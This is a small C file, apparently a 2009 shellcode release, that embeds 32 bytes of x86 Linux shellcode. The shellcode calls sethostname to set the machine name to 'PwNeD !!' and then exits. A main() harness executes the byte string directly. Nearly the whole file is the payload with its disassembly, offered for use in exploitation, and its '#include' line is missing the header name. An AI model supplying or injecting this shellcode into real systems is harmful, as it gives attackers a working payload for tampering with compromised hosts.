/* Title : sethostname "pwned !!" Name : 32 bytes sys_sethostname("PwNeD !!",8) x86 linux shellcode Date : may, 31 2009 Author : gunslinger_ Web : devilzc0de.com blog : gunslingerc0de.wordpress.com tested on : linux debian */ #include char *shellcode= "\xeb\x11" /* jmp 0x8048073 */ "\x31\xc0" /* xor %eax,%eax */ "\xb0\x4a" /* mov $0x4a,%al */ "\x5b" /* pop %ebx */ "\xb1\x08" /* mov $0x8,%cl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax,%eax */ "\xb0\x01" /* mov $0x1,%al */ "\x31\xdb" /* xor %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ "\xe8\xea\xff\xff\xff" /* call 0x8048062 */ "\x50" /* push %eax */ "\x77\x4e" /* ja 0x80480c9 */ "\x65" /* gs */ "\x44" /* inc %esp */ "\x20\x21" /* and %ah,(%ecx) */ "\x21"; /* .byte 0x21 */ int main(void) { fprintf(stdout,"Length: %d\n",strlen(shellcode)); ((void (*)(void)) shellcode)(); return 0; }